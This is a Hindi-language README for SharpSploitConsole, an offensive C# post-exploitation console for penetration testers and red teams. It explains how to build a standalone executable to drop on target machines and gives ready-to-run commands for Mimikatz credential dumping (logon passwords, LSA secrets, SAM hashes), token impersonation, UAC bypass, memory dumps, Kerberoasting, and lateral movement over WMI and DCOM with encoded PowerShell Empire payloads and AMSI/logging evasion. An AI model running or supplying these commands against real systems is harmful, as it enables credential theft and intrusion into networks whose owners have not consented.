
पोस्ट-एक्सप्लॉइटेशन और रेड टीम संचालन के लिए C# कंसोल एप्लिकेशन, जो SharpSploit को एकीकृत करके Mimikatz कमांड निष्पादित करता है, Kerberoasting करता है, UAC को बायपास करता है, क्रेडेंशियल्स डंप करता है, और WMI/DCOM के माध्यम से लेटरल मूवमेंट करता है।
SharpSploit के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया कंसोल एप्लिकेशन, @cobbr_io द्वारा जारी किया गया > https://github.com/cobbr/SharpSploit
SharpSploit एक टूल है जिसे @cobbr_io ने लिखा है, जो इन्फोसेक समुदाय की कई तकनीकों/C# कोड को जोड़ता है और एक अच्छी DLL में बदल देता है। यह बहुत बढ़िया है, तो इसे देखें!
SharpSploit Console सिर्फ एक त्वरित प्रूफ-ऑफ-कॉन्सेप्ट बाइनरी है जो पेनिट्रेशन टेस्टर्स या रेड टीमों को कम C# अनुभव वाले SharpSploit की कुछ अद्भुतता के साथ खेलने में मदद करती है। नीचे दिए गए निर्देशों का पालन करके आप SharpSploit.dll और System.Management.Automation.dll दोनों को SharpSploitConsole बाइनरी में एम्बेड करने में सक्षम होंगे, जिससे एक स्टैंडअलोन exe बन सके जिसे आप उपयुक्त टार्गेट सिस्टम पर ड्रॉप कर सकते हैं और एक नॉन-इंटरैक्टिव शेल (जैसे बीकॉन) पर चला सकते हैं।
यह अवधारणा कई C# बाइनरी पर लागू की जा सकती है। उदाहरण के लिए, हम System.Management.Automation.dll को अपने पसंदीदा C# NoPowershell.exe में एम्बेड कर सकते हैं, जिससे एक ऐसी बाइनरी बने जो टार्गेट सिस्टम पर System.Management.Automation.dll पर निर्भर नहीं करती।
अंत में, मैं जानता हूं कि इसे बेहतर, तेज, कूलर, स्टील्थियर बनाने के शायद हजारों तरीके हैं। तो कृपया मुझे बताएं... अच्छे तरीके से। :) मैं और मॉड्यूल जोड़ने और दूसरों को बेहतर बनाने की योजना बना रहा हूं।
पर संपर्क करें:
इस्स्यू सबमिट करने से पहले, यह टूल हमेशा सक्रिय रूप से अपडेट नहीं हो सकता है। मैं आपको प्रोत्साहित करता हूं कि उधार लें, जोड़ें, मॉडिफाई करें, और/या अपना खुद का बनाएं। याद रखें, वहां मौजूद सभी शानदार कोड (और बहुत सारा है) को ले जाकर अपने कस्टम टूल बनाने के लिए संशोधित किया जा सकता है।
ध्यान दें: मैंने Windows 10, Visual Studio 2017 का उपयोग किया - माइलेज भिन्न हो सकता है
SharpSploit टूल को https://github.com/cobbr/SharpSploit.git से डाउनलोड करें।
Visual Studio में SharpSploit.sln खोलें और कंपाइल करें (सही आर्किटेक्चर के लिए कंपाइल करना सुनिश्चित करें) - ड्रॉप डाउन Any CPU दिखना चाहिए > उस पर क्लिक करें और Configuration Manager खोलें > प्लेटफॉर्म के तहत वांछित आर्किटेक्चर में बदलें और ओके चुनें।
SharpSploitConsole टूल डाउनलोड करें और SharpSploitConsole.sln खोलें।
SharpSploit/bin/x64/Debug निर्देशिका में मिलने वाले SharpSploit.dll और System.Management.Automation.dll दोनों को SharpSploitConsole/bin/x64/Debug फ़ोल्डर में कॉपी करें।
अब हम Visual Studio को सेट करेंगे ताकि हम अपने DLL को exe में एम्बेड कर सकें, ताकि हमारे पास सिर्फ एक बाइनरी हो जिसे हम अपने टार्गेट मशीन पर चला सकें। हम यह निम्नलिखित तरीके से करेंगे:
Visual Studio में:
a. Tools > NuGet Package Manager > Package Manager Console
b. कंसोल के अंदर चलाएं:
Install-Package Costura.Fody
c. नोटपैड खोलें और नीचे दिए गए कोड को पेस्ट करें और इसे SharpSploitConsole निर्देशिका में FodyWeavers.xml नाम से सेव करें जिसमें आपके bin, obj, properties फ़ोल्डर हैं।
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. Visual Studio के अंदर, दाईं ओर References पर राइट क्लिक करें, Add Reference चुनें, फिर SharpSploitConsole/bin/x64/Debug निर्देशिका में ब्राउज़ करें जहां हमने अपने दो DLL रखे हैं, उन्हें चुनें और जोड़ें।
नोट: सभी कमांड केस इनसेंसिटिव हैं
डिफ़ॉल्ट रूप से सभी कमांड को कमांड लाइन आर्ग्स के रूप में लिया जा सकता है, उन्हें निष्पादित किया जाएगा और प्रोग्राम बाहर निकल जाएगा (रिमोट शेल के लिए बढ़िया)। यह कुछ इस तरह दिखता है: sharpSploitConsole.exe getSystem logonPasswords. वैकल्पिक रूप से, यदि आप इंटरैक्टिव कंसोल मोड का उपयोग करना चाहते हैं, तो आप एक छद्म-इंटरैक्टिव शेल प्राप्त करने के लिए interact कमांड का उपयोग कर सकते हैं।
इंटरैक्टिव कंसोल मोड शुरू करें:
Interact
Mimikatz सब कुछ (DCSync नहीं चलाता) - एडमिन या सिस्टम की आवश्यकता है:
Mimi-All
अपनी पसंद का एक विशिष्ट Mimikatz कमांड चलाता है - एडमिन या सिस्टम की आवश्यकता है:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Mimikatz कमांड privilege::debug sekurlsa::logonPasswords चलाता है - एडमिन या सिस्टम की आवश्यकता है:
logonPasswords
रजिस्ट्री से डोमेन कैश्ड क्रेडेंशियल हैश प्राप्त करने के लिए Mimikatz कमांड चलाता है - एडमिन या सिस्टम की आवश्यकता है:
LsaCache
रजिस्ट्री में संग्रहीत LSA सीक्रेट प्राप्त करने के लिए Mimikatz कमांड चलाता है - एडमिन या सिस्टम की आवश्यकता है:
LsaSecrets
SAM डेटाबेस से पासवर्ड हैश प्राप्त करें - एडमिन या सिस्टम की आवश्यकता है:
SamDump
रजिस्ट्री से Wdigest क्रेडेंशियल प्राप्त करें - एडमिन या सिस्टम की आवश्यकता है:
Wdigest
वर्तमान उपयोगकर्ता प्राप्त करें:
whoami
Username
सिस्टम उपयोगकर्ता का प्रतिरूपण करें - एडमिन अधिकारों की आवश्यकता है:
GetSystem
सिस्टम उपयोगकर्ता का प्रतिरूपण करें - निर्दिष्ट प्रक्रिया के टोकन का प्रतिरूपण करें, pid की आवश्यकता है - कमांड को एडमिन अधिकारों की आवश्यकता है:
Impersonate 2918
UAC को बायपास करें - बाइनरी | कमांड | बाइनरी का पथ चाहिए - एडमिन अधिकारों की आवश्यकता है:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
किसी भी टोकन के प्रतिरूपण को समाप्त करता है, वर्तमान प्रक्रिया से जुड़े प्रारंभिक टोकन पर वापस लौटता है:
RevertToSelf
वर्तमान कार्यशील निर्देशिका प्राप्त करें:
CurrentDirectory
वर्तमान निर्देशिका सूची प्राप्त करें:
DirectoryListing
वर्तमान निर्देशिका में एक निर्दिष्ट स्ट्रिंग जोड़कर वर्तमान निर्देशिका बदलता है:
ChangeDirectory SomeFolder
होस्टनाम प्राप्त करें:
Hostname
चल रही प्रक्रियाओं की सूची प्राप्त करें:
ProcessList
चल रही प्रक्रिया की मेमोरी का मिनीडंप बनाता है, PID | आउटपुट स्थान | आउटपुट नाम चाहिए - एडमिन की आवश्यकता है:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
रजिस्ट्री पथ मान प्राप्त करें, पूर्ण पथ तर्क चाहिए:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
रजिस्ट्री में लिखें, पूर्ण पथ तर्क और मान तर्क चाहिए:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
स्थानीय समूह के उपयोगकर्ताओं को दूर से प्राप्त करें, computername | groupname | username | password चाहिए:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
स्थानीय समूहों को दूर से प्राप्त करें, computername | username | password चाहिए:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
वर्तमान लॉग ऑन उपयोगकर्ताओं को दूर से प्राप्त करें, computername | username | password चाहिए:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
उपयोगकर्ता सत्रों को दूर से प्राप्त करें, computername | username | password चाहिए:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
सिस्टम को पिंग करें, computernames चाहिए:
Ping computer1 computer2 computer3 computer4
सिस्टम का पोर्ट स्कैन, computername | ports चाहिए:
PortScan computer1 80 443 445 22 23
डोमेन उपयोगकर्ता प्राप्त करें, लक्ष्य डोमेन में निर्दिष्ट (या सभी) उपयोगकर्ता ऑब्जेक्ट प्राप्त करता है, डिफ़ॉल्ट रूप से वर्तमान उपयोगकर्ता संदर्भ का उपयोग करेगा। वैकल्पिक तर्क: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
डोमेन समूह प्राप्त करें, लक्ष्य डोमेन में निर्दिष्ट (या सभी) समूह ऑब्जेक्ट प्राप्त करता है, डिफ़ॉल्ट रूप से वर्तमान उपयोगकर्ता संदर्भ का उपयोग करेगा। वैकल्पिक तर्क: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
डोमेन कंप्यूटर प्राप्त करें, लक्ष्य डोमेन में निर्दिष्ट (या सभी) कंप्यूटर ऑब्जेक्ट प्राप्त करता है, डिफ़ॉल्ट रूप से वर्तमान उपयोगकर्ता संदर्भ का उपयोग करेगा। वैकल्पिक तर्क: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Kerberoasting करें, लक्ष्य डोमेन में लक्षित (या सभी) उपयोगकर्ता ऑब्जेक्ट के खिलाफ kerberoasting हमला करता है, डिफ़ॉल्ट रूप से वर्तमान उपयोगकर्ता संदर्भ का उपयोग करेगा। वैकल्पिक तर्क: -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
WMI के माध्यम से दूर से कमांड चलाएं, computername | username | password | command चाहिए - एडमिन की आवश्यकता है:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
DCOM के माध्यम से दूर से कमांड चलाएं, computername | command | directory | params चाहिए - एडमिन की आवश्यकता है:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
शेल कमांड चलाएं:
Shell ipconfig /all
पावरशेल कमांड चलाएं, AMSI, scriptBlock लॉगिंग और Module लॉगिंग को बायपास करने का प्रयास करते हुए:
Powershell -noP -sta -w 1 -enc <Base64>